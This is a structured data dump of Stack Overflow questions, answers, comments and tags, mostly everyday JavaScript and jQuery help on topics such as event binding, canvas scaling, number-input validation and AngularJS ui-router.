has body: I need to call the object showMe() method from a child object, when debugging the this does not recognize the showMe() method. How can I reference an object method from within the method ??? code follows - function myObj(n) { this.name = n; this.frame = $('&lt;div /&gt;'); var subFrame = $('&lt;div /&gt;'); subFrame.on("click", function () { **//how do I reference this.showName() from here ?** }); this.frame.append(subFrame); this.showName = function (nn) { alert(nn); }; } $(function () { var a = new myObj("Test"); });
accepted answer: http://stackoverflow.com/a/25742099

list
type: Tag
tag name: list
tags question: http://stackoverflow.com/q/25856960
tags question: http://stackoverflow.com/q/25853571
tags question: http://stackoverflow.com/q/25864969

http://stackoverflow.com/comment/40428901
has text: Simplest way might be `gg.deleteChild(gg.firstChild)`.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25840026
type: Comment

http://stackoverflow.com/comment/40374799
type: Comment
type: QuestionComment
has text: What's your code? Are you expecting that the people provide you with a full finished solution?
score: 0
comment on: http://stackoverflow.com/q/25809738

dreamweaver
type: Tag
tag name: dreamweaver
tags question: http://stackoverflow.com/q/25737881
tags question: http://stackoverflow.com/q/25826713

http://stackoverflow.com/q/25740793
score: 0
answer count: 3
has comment: http://stackoverflow.com/comment/40468325
has comment: http://stackoverflow.com/comment/40247810
has comment: http://stackoverflow.com/comment/40247373
tagged with: jquery
has comment: http://stackoverflow.com/comment/40369909
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25741943
has answer: http://stackoverflow.com/a/25741044
type: Question
has comment: http://stackoverflow.com/comment/40247481
has comment: http://stackoverflow.com/comment/40247191
has answer: http://stackoverflow.com/a/25741201
has title: function find() with variable as a parameter returns empty object
tagged with: javascript
has body: I'm refactoring a code on a generated web page and there is a div (tab) which can occur multiple times. There is a small section with check-boxes on each and every such div, which lets you choose other divs that will be shown. Since there is a chance for other divs to be added to the page I wanted to make the code modular. Meaning that every checkbox id is identical to the class of the div, which it should toggle, with added "Div" at the end. So I use checked id, concat it with "." and "Div" and try to find it in closest fieldset. Here is the almost working fiddle: http://jsfiddle.net/ebwokLpf/5/ (I can't find the way to make the onchange work) Here is the code: $(document).ready(function(){ $(".inChecks").each(function(){ changeDivState($(this)); }); }); function changeDivState(element){ var divClassSel = "." + element.attr("id") + "Div"; var cloField = element.closest("fieldset"); if(element.prop("checked")){ cloField.find(divClassSel).toggle(true); } else { cloField.find(divClassSel).toggle(false); } } Aside for that not-working onchange, this functionality does what it's intended to do. However only on the jsfiddle. The same code does not work on my page. When I used log on variables from the code, the result was as this console.log(divClassSel) =&gt; inRedDiv console.log($(divClassSel)) =&gt; Object[div.etc.] console.log(cloField) =&gt; Object[fieldset.etc.] //but console.log(cloField.find(divClassSel)) =&gt; Object[] According to firebug the version of the jQuery is 1.7.1 Since I can't find any solution to this is there any other way how to make it in modular manner? Or is there some mistake I'm not aware of? I'm trying to avoid writing a function with x checks for element id, or unique functions for every check-box (the way it was done before).

http://stackoverflow.com/a/25858049
has body: the sort method can take a function as argument this function tells the sort method by its return value whether x&lt;y, x&gt;y or x==y (x and y being two variables sent by the sort method to the function) if the return value was negative (not necessarily -1): then the first argument must come before the second if the return value was 0:the two values are equal for the sorting if the return value was positive (not necessarily 1): then the first argument must come after the second
answers question: http://stackoverflow.com/q/25857928
score: 0
type: Answer

http://stackoverflow.com/q/25748171
has body: I have an html page containing similar selection boxes, each being unique in two attributes: data-behavior="result_selection_XXX" id="some_unique_id now, I want to catch an event that happens in any one of the data-behavior elements, and then get the XXX value or its id so I can further process it. So, using Coffeescript I started with: jQuery -&gt; $("[data-behavior^=result_selection_]").change -&gt; selected_val = .... How can this be achieved efficiently? Is there a better way of doing this? Thanks!
tagged with: coffeescript
type: Question
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25748569
score: 0
answer count: 2
has title: fetch the value of selected data-attribute from multiple possibilities using jQuery js
has answer: http://stackoverflow.com/a/25748569
has comment: http://stackoverflow.com/comment/40260653
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25748331
has answer: http://stackoverflow.com/a/25748331

http://stackoverflow.com/a/25826686
has body: You would need handle input at a low level and perform your own checks. To prevent the user from typing value larger than the maximum, you could handle the keypress event and then check the input character and whether it would make the value too large: &lt;input id="ageRange" type="number" min=20 max= 50 maxlength=2&gt; &lt;script&gt; document.getElementById('ageRange').onkeypress = function (e) { var ev = e || window.event; if(ev.charCode &lt; 48 || ev.charCode &gt; 57) { return false; // not a digit } else if(this.value * 10 + ev.charCode - 48 &gt; this.max) { return false; } else { return true; } } &lt;/script&gt; This does prevent the user from inserting a larger value by pasting. To prevent the user from deleting characters so that the value becomes too small, you would need to handle the rubout key, which is more problematic due to keyboard differences. But it would be poor usability. Suppose the user typed 30, then realized he meant to type 40. A code that prevents changing the value to too small would prevent removing either digit! Browsers are expected to have their own user interface for &lt;input type=number&gt;, and this is the reason for using it. The interface is not meant to prevent the user from typing too large values but to detect them and report them so that the user can correct them. Before trying to substantially modify this, consider the potential confusion. If you do add code that prevents out-of-ranfe values, browsers will not show diagnostic messages (e.g. “Number must be less than or equal to 50”), as they do by default if they support &lt;input type=number&gt;, so your JavaScript code should probably issue its own diagnostics.
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25825843
type: Answer
score: 7
upvote count: 7
accepted answer of: http://stackoverflow.com/q/25825843

http://stackoverflow.com/comment/40253912
has text: @SanTosh:- You may try this: `parent.parent.document.getElementById('iframeid').location.reload();`
comment on: http://stackoverflow.com/a/25744627
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25871004
upvote count: 3
answer count: 2
has answer: http://stackoverflow.com/a/25872019
tagged with: angular-ui-router
has comment: http://stackoverflow.com/comment/40485732
has title: AngularJS ui-router
has body: AngularJS state machine extension ui-router declares a directive that converts routes with attribute ui-sref into href paths and populates it with requested variables. Is there a way to access the same route parser from a scope? Update I am looking for a hopefully built-in yet undocumented resolver (or a way to get the same outcome) that gives the path to a named argument. In the spirit of a named route: &lt;a ui-sref="management.person({personId: 1})" /&gt; Which matches a route $stateProvider.state('management', { url: '/absolute/part' }); $stateProvider.state('management.person', { url: '/relative/part/:personId' }); and outputs #/absolute/part/relative/part/1 - and in case I switch to use ! fragment, all the URLs are converted. Directive itself does this already, but its arguments cannot be constructed dynamically.
possible better answer: http://stackoverflow.com/a/28915648
has comment: http://stackoverflow.com/comment/40485446
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/28915648
downvote count: 0
accepted answer: http://stackoverflow.com/a/25872019
tagged with: angular-ui
tagged with: javascript
favorite count: 0
tagged with: angularjs
type: Question
score: 3
has comment: http://stackoverflow.com/comment/40485794
has comment: http://stackoverflow.com/comment/40485627

http://stackoverflow.com/a/25842830
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25841735
answers question: http://stackoverflow.com/q/25841735
score: 1
type: AcceptedAnswer
downvote count: 0
has body: It was not working because you were trying to bind a button that is not yet existed on DOM. And you are recreating the table to change the fixed column index. I cant say this is a good way but i couldnt find to change fixed column of rendered datatable on documentations. but i fixed your fiddle on your way. the idea is to bind the button on init of datatable right after adding the custom button html like. $(document).ready(function () { foo(2); function foo(columnNumber) { table = $('#example').on('init.dt', function () { $("div#ToggleButton").html(' Toggle '); $('#ToggleColumns').click(function () { table.destroy(); debugger; if (columnNumber == 2) { columnNumber = 0; } else { columnNumber = 2; } foo(columnNumber); }); }).DataTable({ scrollY: "300px", scrollX: true, scrollCollapse: true, paging: false, "dom": "T<'clear'><'row DatatableRow'<'col-xs-3'l><'col-xs-3'><'col-xs-3'<'#ToggleButton'>><'col-xs-3 text-right'f>r>t<'row DatatableRow'<'col-xs-3'i><'col-xs-3'><'col-xs-3'><'col-xs-3 text-right'p>>", }); new $.fn.dataTable.FixedColumns(table, { leftColumns: columnNumber // rightColumns: 1 }); } }); If you can find a way to change the fixedColumn number... $('#ToggleColumns').click(function () { // replace the following codes with changing fixedColumn columns table.destroy(); if (columnNumber == 2) { columnNumber = 0; } else { columnNumber = 2; } foo(columnNumber); });
type: Answer

http://stackoverflow.com/comment/40230399
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25730528
has text: I just made the minimal change to Fakt7's code to answer the question. Your comment might be better directed at the OP's question.

appcelerator-mobile
tags question: http://stackoverflow.com/q/25765347
type: Tag
tag name: appcelerator-mobile

http://stackoverflow.com/comment/40377920
has text: Try logging to console ````res.locals.flash````` and ````req.session.flash```` in your policy using `````console.log(...)````. Also, could you post a short snippet of your controller code where you're flashing the message?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25801944

http://stackoverflow.com/a/25745687
score: 2
has comment: http://stackoverflow.com/comment/40256245
upvote count: 2
has comment: http://stackoverflow.com/comment/40257544
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40787241
accepted answer of: http://stackoverflow.com/q/25744124
answers question: http://stackoverflow.com/q/25744124
type: Answer
has body: I think all browsers escape the urls except those haveing bugs and not following RFCs (RFC3986).
has comment: http://stackoverflow.com/comment/40266030

http://stackoverflow.com/a/25815346
downvote count: 0
type: Answer
score: 2
has body: Any reason why you couldn't move the {{resAVal}} into the home.html view? {{resAVal}} If you really can't do this, you can always inject the rootScope in your root controller: app.controller('RootCtrl', function($scope, $rootScope, resA) { $scope.bar = []; $scope.resAVal = resA.value; $rootScope.resAVal = resA.value; })
upvote count: 2
answers question: http://stackoverflow.com/q/25814916

http://stackoverflow.com/comment/40252301
type: Comment
comment on: http://stackoverflow.com/q/25743572
has text: I don't understand why this person @FedericHamidi marked this as duplicate ... just look at the comments. He is asking for something else..
score: 0
type: QuestionComment

http://stackoverflow.com/comment/40343650
has text: I always thought it was bad practice because of IE compatibility issues. Normally I used jQuery to handle button clicks, but now I try to be good and do everything the proper Angular way :)
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25793691

http://stackoverflow.com/q/25713662
has body: Ruby 2.0.0, Rails 4.0,3 In my form, I have this render: &lt;%= render partial: "makes", locals: {form: 'new_admin_car', car_id: car_id} %&gt; I need to access the car_id variable as in: var car_id = $('select#car_ymm_year_id').attr("car_id"); The trigger fires but car_id is undefined. Obviously, it is not available as a local variable. What changes do I need to make to access it? Thanks...
has answer: http://stackoverflow.com/a/25719193
has comment: http://stackoverflow.com/comment/40201501
tagged with: ruby
tagged with: ruby-on-rails
has comment: http://stackoverflow.com/comment/40206391
type: AnsweredQuestion
has title: Making HTML variable available to JavaScript in Rails render
has comment: http://stackoverflow.com/comment/40203731
type: Question
score: 0
accepted answer: http://stackoverflow.com/a/25719193
answer count: 1
tagged with: javascript

http://stackoverflow.com/comment/40392932
type: Comment
has text: The radio/checkbox buttons seem to function perfectly now. Only thing is, the form doesn't get submitted. Previously, when the user clicked submit, the plugin (WP-Polls) loaded a new "thank you" div. I tried re-adding the `onclick` attribute like this but it's still not working: ` ` Any ideas?
type: AnswerComment
comment on: http://stackoverflow.com/a/25819929
score: 0

http://stackoverflow.com/comment/40238536
has text: ..and why not parseInt? I want minutes and seconds to be a string, and this converts the numeric to a string. Win-win..?
score: 0
comment on: http://stackoverflow.com/q/25735990
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25764616
answer count: 2
tagged with: javascript
tagged with: component.io
has answer: http://stackoverflow.com/a/25843274
has comment: http://stackoverflow.com/comment/40374720
has comment: http://stackoverflow.com/comment/40370428
favorite count: 0
has comment: http://stackoverflow.com/comment/40371709
has comment: http://stackoverflow.com/comment/40374207
upvote count: 2
possible better answer: http://stackoverflow.com/a/25808703
has answer: http://stackoverflow.com/a/25808703
has comment: http://stackoverflow.com/comment/40374315
accepted answer: http://stackoverflow.com/a/25843274
has comment: http://stackoverflow.com/comment/40369787
tagged with: node.js
has body: I'm using duojs, which is a front-end webdevelopment tool not unlike browserify or component. It allows you to import css and js straight from the file itself, without any external package manifests. I'm trying to understand how to write my js so it works well with duojs, but am not sure what kind of architecture it uses for its module definitions. I've looked for it in the documentation, but couldn't find it there. From what I can tell it looks like the duojs compiler wraps all components in commonjs style wrappers: See for example this compiled js file on their repo (below is a snippet): /** * Return newest require. */ return require; })({ 1: [function(require, module, exports) { /** * Module Dependencies */ var Highlight = require('segmentio/highlight'); /** * Code highlighting. */ new Highlight() .use(require('segmentio/highlight-javascript')) .use(require('segmentio/highlight-xml')) .use(require('segmentio/highlight-css')) .use(require('segmentio/highlight-json')) .all(); Can anyone tell from the code what kind of js module api is being used here? To me this looks like a commonjs style module definition, but I'm not sure, it might be node as well.
type: AnsweredQuestion
has title: What javascript module api does duojs use?
has comment: http://stackoverflow.com/comment/40375042
score: 1
has comment: http://stackoverflow.com/comment/40371419
downvote count: 1
type: Question
tagged with: duo.js
tagged with: commonjs
has comment: http://stackoverflow.com/comment/40394335

http://stackoverflow.com/a/25821906
answers question: http://stackoverflow.com/q/25821637
has body: First you test to see if the string contains any numbers. If it does, you set boolsub to false otherwise you set it to true. Then you test to see if it contains any special characters. If it does, you set boolsub to false otherwise you set it to true. It doesn't matter what value you set boolsub to for the number test. You always overwrite that value for the special character test. Set boolsub to true by default. Set it to false if it fails a check. Never reset it to true if it passes a check. function checkLetters() { boolsub = true; var crop = $('#crop').val().trim(); //Entering numbers if (crop.match(/([0-9])/)) { $('#cropEr4').show(); boolsub = false; } else { $('#cropEr4').hide(); } //Entering special characters if (crop.match(/([!,%,&amp;,@,#,$,^,*,?,_,~])/)) { $('#cropEr3').show(); boolsub = false; } else { $('#cropEr3').hide(); } } Note, however, that you would be better off rewriting this so that checkLetters returned a value instead of setting a global, and to use modern event binding techniques.
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/40397054
score: 0
type: Answer

http://stackoverflow.com/comment/139873416
type: Comment
has text: Text is blurry because the size of the canvas is small. To increase the quality of an image simply increase the render size and fit it into a small viewport.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25871227

http://stackoverflow.com/comment/40292020
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25765104
has text: I thought so at first, but I did a test page (I removed everything except what above) and it works, a window opens ...
score: 0

http://stackoverflow.com/a/25717225
downvote count: 0
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/40202889
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25717157
answers question: http://stackoverflow.com/q/25717157
has comment: http://stackoverflow.com/comment/40203091
has body: The drawImage method has a version that lets you draw the miniCanvas with scaling: // the last 2 parameters are scaled Width &amp; scaled Height // parameters: // 1st: the image source // 2nd,3rd: the upper-left part of the source to clip from // 4th,5th: the width &amp; height to clip from the source // 6th,7th: the upper-left part of the canvas to draw the clipped image // 8th,9th: the scaled width &amp; height to draw on the canvas ctx.drawImage(miniCanvas, 0,0,100,100, 0,0,200, 200);
type: AcceptedAnswer

http://stackoverflow.com/comment/40419188
type: QuestionComment
has text: When it fails upon seeing no trailing `_` after the `.`, it backtracks by assuming that the *leading* `_a` are "normal". I'm not sure I know why.
score: 0
comment on: http://stackoverflow.com/q/25834957
type: Comment

http://stackoverflow.com/q/25856769
score: 1
type: Question
downvote count: 0
answer count: 1
tagged with: javascript
favorite count: 0
linked to: http://stackoverflow.com/q/19590865
has comment: http://stackoverflow.com/comment/40458835
duplicate of: http://stackoverflow.com/q/19590865
has answer: http://stackoverflow.com/a/25856804
has title: Clean way of extracting object member values from an array of objects into their own array in JS
upvote count: 1
has body: Wonder if there is a cleaner way of doing this then just iterating over every single object, and incrementally rebuilding the array (in Javascript). var myArray = [{id:10,name:'bob'},{id:30,name:'mike'},{id:40,name:'jay'},{id:50,name:'chris'},{id:60,name:'snake'}]; Indented array output --> [10,30,40,50,60]
accepted answer: http://stackoverflow.com/a/25856804
type: AnsweredQuestion

http://stackoverflow.com/a/25753532
downvote count: 1
score: 0
has body: For elements that were added after page load you should use: $('body').on('click', '.classSelector', function(e) { });
type: Answer
answers question: http://stackoverflow.com/q/25753476
upvote count: 1
has comment: http://stackoverflow.com/comment/40270911

http://stackoverflow.com/q/25730993
has body: Consider the following code (http://jsbin.com/vewot): var shouldDefine = false; if(shouldDefine) { function something() { var a = 1; } } alert(typeof something); What would you expect the alert to show? For me, I would expect it to say "undefined", because the if block should not be run, since shouldDefine = false. And in Firefox, that is what happens. But in Chrome and IE9, it says 'function'! Is this a browser bug or is this legitimate JavaScript behavior?
has answer: http://stackoverflow.com/a/25731043
has comment: http://stackoverflow.com/comment/40228766
possible better answer: http://stackoverflow.com/a/25732147
tagged with: javascript
tagged with: scope
answer count: 2
has title: Should a function inside an if block be typeof=='function' if the if condition is false?
has comment: http://stackoverflow.com/comment/40228560
downvote count: 0
favorite count: 0
accepted answer: http://stackoverflow.com/a/25731043
upvote count: 2
score: 2
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/17409945
has comment: http://stackoverflow.com/comment/40228493
has answer: http://stackoverflow.com/a/25732147
type: Question
has comment: http://stackoverflow.com/comment/40228625

http://stackoverflow.com/q/25718807
has title: after adding DOM manipulation before ajax call, the dom is not retaining after ajax
type: UnansweredQuestion
type: Question
has comment: http://stackoverflow.com/comment/40205952
has comment: http://stackoverflow.com/comment/40205882
tagged with: dom
score: 0
answer count: 1
tagged with: javascript
tagged with: jquery
tagged with: ajax
has body: DEMO LINK Current Flow ScreenShoot for Ref : Iam Adding a class to element and trying to give focus. for static elements its working fine. but whenever i call ajax request. the class which i added is not retaining its getting removed. JS : $('#search-refine-bar').on('click', function(e) { var eventNode = e.target.nodeName; $('.highlight').removeClass('highlight').removeAttr('tabindex focus style').css({ "border": "" }); setTimeout(function() { alert(eventNode + " --------------- " + 'In Progress adding focus'); $(e.target).attr({ tabindex: "-1", focus: "focus" }).addClass('highlight').focus().css({ "border": "1px solid #f00" }); alert(eventNode + " --------------- " + 'Done status') }, 1000); });
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25718966

http://stackoverflow.com/comment/40290847
score: 0
type: QuestionComment
type: Comment
has text: You should control that with a media query, not by testing resolutions.
comment on: http://stackoverflow.com/q/25764879

http://stackoverflow.com/a/25828443
answers question: http://stackoverflow.com/q/25828011
has comment: http://stackoverflow.com/comment/40409425
score: 2
has comment: http://stackoverflow.com/comment/40407569
downvote count: 0
has body: While I'm not sure if you can do this directly, you can always query for Boards and eagerly fetch users. Something along these lines: Board.findAll({where: {id: [1,3]}}, { include: [ User ] })
has comment: http://stackoverflow.com/comment/40407264
upvote count: 2
type: Answer

http://stackoverflow.com/q/25827051
tagged with: canvas
tagged with: html5-canvas
answer count: 1
tagged with: javascript
has body: I need to apply, via canvas element, a one color (black) bitmap image (line art) onto a 2 color (red and yellow) bitmap image (pattern) and have only the red pixels of that pattern be colored by the overlayed line art, kinda like an intersect. I saw this: https://developer.mozilla.org/en/docs/Web/Guide/HTML/Canvas_tutorial/Compositing (see globalCompositeOperation > Darker method ) and wondered if that effect is what I need. Since that method no longer appears to be supported, is there a way to simulate such an effect? All images used for this only contain spot colors (100% red, 100% yellow, 100% black, 100% white). Any javascript code sample or hint(s) leading to a solution would be awesome. Thx for input.
accepted answer: http://stackoverflow.com/a/25827439
score: 0
type: AnsweredQuestion
type: Question
has answer: http://stackoverflow.com/a/25827439
has title: HTML5 Canvas | Pattern to reveal overlayed line art based on pattern pixel color

http://stackoverflow.com/a/25833483
type: Answer
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25833369
has body: Take a look at Grunt, it's a command line "JavaScript task runner" that helps with automating things like minification, compilation, linting and unit testing. There are a lot of plugins for many other tools and frameworks. If you don't use a framework or a framework that doesn't supports unit tests, you should use a testing framework. There are a look, here is a list of (mostly tdd style) frameworks: JavaScript unit test tools for TDD Tests are usually run "headless" in the console via grunt test. Depending on the test framework there may also is a nicer looking generated web page that shows you the latest test results. You could setup a button/hotkey/action in your IDE to run this console command (most editors also have this feature) to start your unit test. I've used grunt as part of Yeoman (which adds a package manager and scaffolding and some grunt plugins), where the most useful feature I've found was that you can grunt act on files changes. This means you don't even need to setup your IDE or text editor to use grunt. You simply save a file and grunt will run tasks like unit tests automatically. Another useful feature was the grunt serve command in combination with the livereload plugin, which will start a server that automatically reloads the page in your browser when you save a file. The downside is that it seems to be more focused on single page webapps. If you have complex pages that are generated on the server side and only some javascript it may not suit your needs.

http://stackoverflow.com/a/58033693
answers question: http://stackoverflow.com/q/25866145
downvote count: 1
has body: Create a video element with the video that you need: &lt;video controls src="http://example.com/example.webm"&gt; When this video plays, you can retrieve the MediaStream object that you can reuse presumably for RTCPeerConnection: const video = document.querySelector('video'); video.onplay = function() { const stream = video.captureStream(); peer.addStream(stream); }; This works in the same way for an audio element.
type: Answer
upvote count: 2
score: 1

http://stackoverflow.com/q/25803890
tagged with: jquery
has comment: http://stackoverflow.com/comment/40362954
has title: Is jquery .on faster than .click with new DOM elements?
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25803961
has body: I don't want to use $(document).on('click', handler) or $('.class').on('click', handler)... I prefer to use $('.class').click(); To me it's easier to find your way in the code but I don't know if it's faster or not. If I add a new element in the DOM like : function addElementThenBindAction(){ var html = $ (" Link me "); html.click( addElementThenBindAction() ); $('body').append( html ); } $('#aButtonFromDom').click(function(){ addElementThenBundAction(); }); Is that faster than - function addHtml(){ var html = $ (" Link me "); $('body').append('html'); } $(document).on('click', '#myId', function(){ addHtml(); }); $('#aButtonFromDom').click(function(){ addHtml(); });
has comment: http://stackoverflow.com/comment/40362926
type: Question
score: 0
tagged with: benchmarking
answer count: 1
tagged with: javascript

http://stackoverflow.com/q/25826483
type: UnansweredQuestion
has title: Open multiple links with a single click
score: 2
has answer: http://stackoverflow.com/a/25826589
has body: I want a single click to open multiple links NOT as popups. I understand you cannot force a link to open in a tab but a solution that used to exist no longer behaviors ideally. Main solution that is out there: http://www.w3schools.com/jsref/tryit.asp?filename=tryjsref_win_open6 function myFunction() { window.open("http://www.google.com/"); window.open("http://www.stackoverflow.com/"); } This works exactly as I would want in Firefox, and probably older versions of Chrome. The current version of Chrome opens the first link in the new tab and then treats all preceding links as popups. There are also Chrome specific solutions out there and I do NOT want that, for obvious browser support reasons.
type: Question
linked to: http://stackoverflow.com/q/7064998
downvote count: 0
tagged with: javascript
tagged with: http://stackoverflow.com/tag/html
answer count: 1
favorite count: 0
upvote count: 2

http://stackoverflow.com/a/25830368
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40426863
has comment: http://stackoverflow.com/comment/40430151
has comment: http://stackoverflow.com/comment/40427222
accepted answer of: http://stackoverflow.com/q/25829991
has comment: http://stackoverflow.com/comment/40426285
has comment: http://stackoverflow.com/comment/40426481
answers question: http://stackoverflow.com/q/25829991
type: Answer
has comment: http://stackoverflow.com/comment/40425965
has comment: http://stackoverflow.com/comment/40427936
has comment: http://stackoverflow.com/comment/40427963
has comment: http://stackoverflow.com/comment/40427347
has comment: http://stackoverflow.com/comment/40458550
has comment: http://stackoverflow.com/comment/40432645
has comment: http://stackoverflow.com/comment/40426993
has body: Several other answers have pointed out some issues in the test code: type="submit" but no tags. Misspelled variable name tunrs instead of turns. Use of the while loop No event connections between the buttons and the JavaScript This is a simple code example, and there are so, SO many ways to tackle it in JavaScript. Here is my method. When creating a simple game board where the page does not need to be reloaded, I like to create a game object. In JavaScript you can create objects in a variety of ways. But one of the simplest is this: var game = {}; This creates an empty object with no properties or methods. To create a couple of properties: var game = { num: 0, turns: -1 }; Each of these properties can be referenced globally like var x = game.num;. To create the object with a function: var game = { num: 0, turns: 0, reset: function() { this.turns = 0; //get a random integer between 1 and 10 this.num = parseInt(Math.random() * 10) + 1; //Note: "this" lets you refer to the current object context. "game" in this case. //There are a couple of ways to force the value to an Int, I chose parseInt } }; Game now has a game.reset() function that will set game.turns back to 0 and get a new game.num. Here is the full javascript code for my example (slightly different than the above examples): Note: I didn't do a window.onload event here because those are only needed when the code will be interacting with elements on the document, or DOM elements. If you try to execute JS code in the head of the document, it gets executed instantly before the rest of the document gets loaded. This is bad if your JS code is trying to get, set, or manipulate elements in the page because you're still in the head and the body hasn't been loaded yet. So in the case where your code needs to get access to elements of the page, often a window.onload = someInitFunction(); will be used so that the JS code will be executed after the document has completed it's load. Below is my HTML code. It is mostly simil…
has comment: http://stackoverflow.com/comment/40427036
score: 0
has comment: http://stackoverflow.com/comment/40427179

http://stackoverflow.com/comment/40467935
type: Comment
has text: Hi,try by css class property. $('.textEntry')
score: 0
comment on: http://stackoverflow.com/q/25861222
type: QuestionComment

http://stackoverflow.com/q/25751792
has comment: http://stackoverflow.com/comment/40267407
favorite count: 0
has title: Moving a div further down a page
type: Question
tagged with: css
score: -1
has comment: http://stackoverflow.com/comment/40267809
tagged with: wordpress
answer count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/25752087
tagged with: javascript
type: UnansweredQuestion
has body: I'm using this plugin on a wordpress theme http://www.ihomefinder.com/products/optima-express/ When the search results are shown there is a map at the top of the listings. Is there any way to move it to the bottom of the listings but above the next/previous buttons? http://www.denverrealestate.house/castle-pines/
upvote count: 0

facebook-like
tags question: http://stackoverflow.com/q/25727206
tags question: http://stackoverflow.com/q/25788135
type: Tag
tags question: http://stackoverflow.com/q/25830120
tag name: facebook-like
tags question: http://stackoverflow.com/q/25856560

http://stackoverflow.com/a/25799087
accepted answer of: http://stackoverflow.com/q/25798759
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25798759
type: Answer
upvote count: 1
has body: You first do $('.phone-two').hide(); $('.phone-three').hide(); $('.phone-four').hide(); but subsequently never call show on any of these elements. The $("#blocrst-2").removeClass().addClass("phone-image wow fadeInRightBig"); affects the img elements, but the parents are still hidden. Adding a $('.phone-one').show(); in your mouseover functions will fix your problem. Remember to change the phone-one to match the class of the div you're trying to show (you should really be using an id for these divs). As an aside, take a look at the developer tools in chrome or firefox. It'll help you see how your javascript affects your DOM so you can track down issues more easily in the future.
score: 1

relationships
tags question: http://stackoverflow.com/q/25837273
tag name: relationships
type: Tag

http://stackoverflow.com/a/26543403
answers question: http://stackoverflow.com/q/25864833
type: AcceptedAnswer
has body: @exclude is very precise. You need to put a trailing asterisk on each of the exclude lines. EG: // @exclude https://*.myshopify.com/admin/products* // @exclude https://*.myshopify.com/admin/collections* // @exclude https://*.myshopify.com/admin/blogs* // @exclude https://*.myshopify.com/admin/pages* // @exclude https://*.myshopify.com/admin/themes* Consider (and install) this Tampermonkey script: // ==UserScript== // @name _match and exclude testing // @match http://*.stackexchange.com/* // // @exclude http://*.stackexchange.com/questions* // @exclude http://*.stackexchange.com/tags // @require http://ajax.googleapis.com/ajax/libs/jquery/2.1.0/jquery.min.js // @grant GM_addStyle // ==/UserScript== $("body").prepend (' Match Script fired on this page. '); If you then visit arduino.stackexchange.com/tags, the script won't fire, but when visiting: arduino.stackexchange.com/tags/ or arduino.stackexchange.com/tags?foo=bar it will! Changing the second exclude line to: // @exclude http://*.stackexchange.com/tags* fixes the problem. If you still have difficulty, specify your versions of Chrome, Tampermonkey, and operating system. And, provide target page(s) that demonstrate the problem.
type: Answer
downvote count: 0
score: 21
accepted answer of: http://stackoverflow.com/q/25864833
upvote count: 21

http://stackoverflow.com/q/25812468
has answer: http://stackoverflow.com/a/25812788
favorite count: 0
downvote count: 2
has comment: http://stackoverflow.com/comment/40377960
type: AnsweredQuestion
has title: Using jQuery to pass data to another element
has body: I am making a faux shopping cart page. I have checkboxes with data properties on them and then a UL that should match each of the checkbox elements. I would like to pass a data property from the checkbox to the corresponding UL items. Do I add data properties to each of my list items and do a comparison match? How would I do this? My HTML structure is below. Attendee One Attendee Two Attendee Three Attendee Four Attendee Five Comment First off I don't know why I got down voted. It is a good question for those who are not well versed on how to traverse multiple objects in jQuery. This is what I thought this site was for, was to ask questions and provide answers to those who need it, not to down vote a legitimate question. I provided the HTML structure, I needed the pointer to get me going in the right direction. Thank you for those who provided me the direction and an pointer to my outcome.
has answer: http://stackoverflow.com/a/25812752
type: Question
upvote count: 0
score: -2
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25812752
answer count: 2
has comment: http://stackoverflow.com/comment/40377569
possible better answer: http://stackoverflow.com/a/25812788
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/a/25771809
has body: Store things in pennies: var qty = 3; var cost = 120; var res = cost * qty; var res_str = '£'+Math.floor(res / 100)+'.'+(res %100).toFixed(2);
type: Answer
answers question: http://stackoverflow.com/q/25771742
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/40199741
score: 0
type: Comment
type: QuestionComment
has text: I think this would be better asked at http://programmers.stackexchange.com
comment on: http://stackoverflow.com/q/25715538

http://stackoverflow.com/q/25753824
score: 0
tagged with: http://stackoverflow.com/tag/html
answer count: 1
type: UnansweredQuestion
tagged with: iframe
has title: Issues implementing Google Maps in RoR even with iframe
tagged with: ruby-on-rails
has answer: http://stackoverflow.com/a/25754034
type: Question
has body: I have tried all day to get this to work. HTML Version that works perfectly When i try to implement this into a rails project: either by adding it all into an html.erb file or breaking it up and putting everything where it should go. I have even tried using iframe and still can not get this implemented into a rails application is there something that i am missing... i know that the html page works perfectly..
tagged with: javascript

http://stackoverflow.com/q/25770349
type: Question
linked to: http://stackoverflow.com/q/16644402
tagged with: arrays
tagged with: javascript
score: 0
has answer: http://stackoverflow.com/a/25770476
has answer: http://stackoverflow.com/a/25770696
answer count: 2
tagged with: angularjs
type: UnansweredQuestion
has title: hide a specific ng-option if it's id already exists in array
